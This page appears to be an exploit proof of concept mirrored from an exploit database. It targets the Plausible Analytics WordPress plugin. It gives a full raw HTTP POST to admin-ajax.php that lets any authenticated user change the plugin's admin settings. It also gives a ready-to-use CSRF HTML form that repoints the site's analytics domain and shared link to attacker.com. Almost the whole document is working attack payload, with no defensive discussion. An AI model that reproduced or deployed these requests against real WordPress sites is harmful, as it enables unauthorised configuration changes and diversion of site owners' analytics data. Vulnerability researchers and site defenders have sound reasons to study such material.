Share 
## https://sploitus.com/exploit?id=WPEX-ID:0C17CE5D-22EE-4512-9CA1-81C98DEF6DAD
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------110341318819326907813430388064
Content-Length: 1315
Connection: close
Cookie: [any authenticated user]

-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="action"

plausible_analytics_save_admin_settings
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="domain_name"

example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="custom_domain_prefix"

analytics
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="is_self_hosted_analytics"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="self_hosted_domain"

example.com
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="embed_analytics"

false
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="shared_link"

https://plausible.io/share/example.com?auth=XXXXXXXXXXXX
-----------------------------110341318819326907813430388064
Content-Disposition: form-data; name="track_administrator"

false
-----------------------------110341318819326907813430388064--


Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="plausible_analytics_save_admin_settings" />
      <input type="hidden" name="domain_name" value="attacker.com" />
      <input type="hidden" name="custom_domain" value="false" />
      <input type="hidden" name="custom_domain_prefix" value="analytics" />
      <input type="hidden" name="is_self_hosted_analytics" value="false" />
      <input type="hidden" name="self_hosted_domain" value="example.com" />
      <input type="hidden" name="embed_analytics" value="false" />
      <input type="hidden" name="shared_link" value="https://plausible.io/share/attacker.com?auth=XXXXXXXXXXXX" />
      <input type="hidden" name="track_administrator" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>